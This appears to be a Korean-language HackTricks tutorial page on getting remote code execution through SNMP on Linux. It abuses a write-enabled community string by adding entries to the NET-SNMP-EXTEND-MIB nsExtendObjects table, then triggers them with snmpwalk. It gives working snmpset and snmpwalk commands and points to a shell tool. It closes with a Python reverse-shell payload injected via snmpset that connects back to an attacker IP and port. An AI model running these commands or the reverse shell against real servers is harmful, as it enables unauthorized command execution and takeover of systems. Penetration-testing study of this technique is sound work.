Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

SNMP RCE

SNMP๋Š” ๊ด€๋ฆฌ์ž๊ฐ€ ์žฅ์น˜๋‚˜ ์„œ๋ฒ„์˜ ๊ธฐ๋ณธ ๊ตฌ์„ฑ์„ ๊ฐ„๊ณผํ•  ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ž์— ์˜ํ•ด ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋Š” SNMP ์ปค๋ฎค๋‹ˆํ‹ฐ(rwcommunity)**๋ฅผ ์•…์šฉํ•˜์—ฌ Linux ์šด์˜ ์ฒด์ œ์—์„œ ๊ณต๊ฒฉ์ž๋Š” ์„œ๋ฒ„์—์„œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ถ”๊ฐ€ ๋ช…๋ น์œผ๋กœ ์„œ๋น„์Šค ํ™•์žฅ

SNMP ์„œ๋น„์Šค๋ฅผ ํ™•์žฅํ•˜๊ณ  ์ถ”๊ฐ€ ๋ช…๋ น์„ ์ถ”๊ฐ€ํ•˜๋ ค๋ฉด โ€œnsExtendObjectsโ€ ํ…Œ์ด๋ธ”์— ์ƒˆ๋กœ์šด ํ–‰์„ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” snmpset ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜๊ณ  ์‹คํ–‰ํ•  ์‹คํ–‰ ํŒŒ์ผ์˜ ์ ˆ๋Œ€ ๊ฒฝ๋กœ์™€ ์‹คํ–‰ํ•  ๋ช…๋ น์„ ํฌํ•จํ•œ ํ•„์š”ํ•œ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ œ๊ณตํ•จ์œผ๋กœ์จ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

๋ช…๋ น์–ด ์ฃผ์ž… ์‹คํ–‰

SNMP ์„œ๋น„์Šค์—์„œ ์‹คํ–‰ํ•  ๋ช…๋ น์–ด๋ฅผ ์ฃผ์ž…ํ•˜๋ ค๋ฉด ํ˜ธ์ถœ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ/์Šคํฌ๋ฆฝํŠธ์˜ ์กด์žฌ์™€ ์‹คํ–‰ ๊ฐ€๋Šฅ์„ฑ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. **NET-SNMP-EXTEND-MIB**๋Š” ์‹คํ–‰ ํŒŒ์ผ์˜ ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์ œ๊ณตํ•  ๊ฒƒ์„ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค.

์ฃผ์ž…๋œ ๋ช…๋ น์–ด์˜ ์‹คํ–‰์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด snmpwalk ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ SNMP ์„œ๋น„์Šค๋ฅผ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ถœ๋ ฅ์€ ๋ช…๋ น์–ด์™€ ๊ด€๋ จ๋œ ์„ธ๋ถ€์ •๋ณด๋ฅผ ํ‘œ์‹œํ•˜๋ฉฐ, ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

์ฃผ์ž…๋œ ๋ช…๋ น ์‹คํ–‰

์ฃผ์ž…๋œ ๋ช…๋ น์ด ์ฝํžˆ๋ฉด ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ์ด ๋™์ž‘์€ **run-on-read()**๋กœ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ช…๋ น์˜ ์‹คํ–‰์€ snmpwalk ์ฝ๊ธฐ ์ค‘์— ๊ด€์ฐฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

SNMP๋กœ ์„œ๋ฒ„ ์…ธ ์–ป๊ธฐ

์„œ๋ฒ„๋ฅผ ์ œ์–ดํ•˜๊ณ  ์„œ๋ฒ„ ์…ธ์„ ์–ป๊ธฐ ์œ„ํ•ด mxrch๊ฐ€ ๊ฐœ๋ฐœํ•œ ํŒŒ์ด์ฌ ์Šคํฌ๋ฆฝํŠธ๋ฅผ https://github.com/mxrch/snmp-shell.git์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋˜๋Š” ํŠน์ • ๋ช…๋ น์„ SNMP์— ์ฃผ์ž…ํ•˜์—ฌ ์ˆ˜๋™์œผ๋กœ ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ช…๋ น์€ snmpwalk์— ์˜ํ•ด ํŠธ๋ฆฌ๊ฑฐ๋˜์–ด ๊ณต๊ฒฉ์ž์˜ ๋จธ์‹ ์— ๋ฆฌ๋ฒ„์Šค ์…ธ ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•˜์—ฌ ํ”ผํ•ด์ž ๋จธ์‹ ์— ๋Œ€ํ•œ ์ œ์–ด๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด๊ฒƒ์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ์ „์ œ ์กฐ๊ฑด์„ ์„ค์น˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

๋˜๋Š” ๋ฆฌ๋ฒ„์Šค ์…ธ:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

์ฐธ๊ณ ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ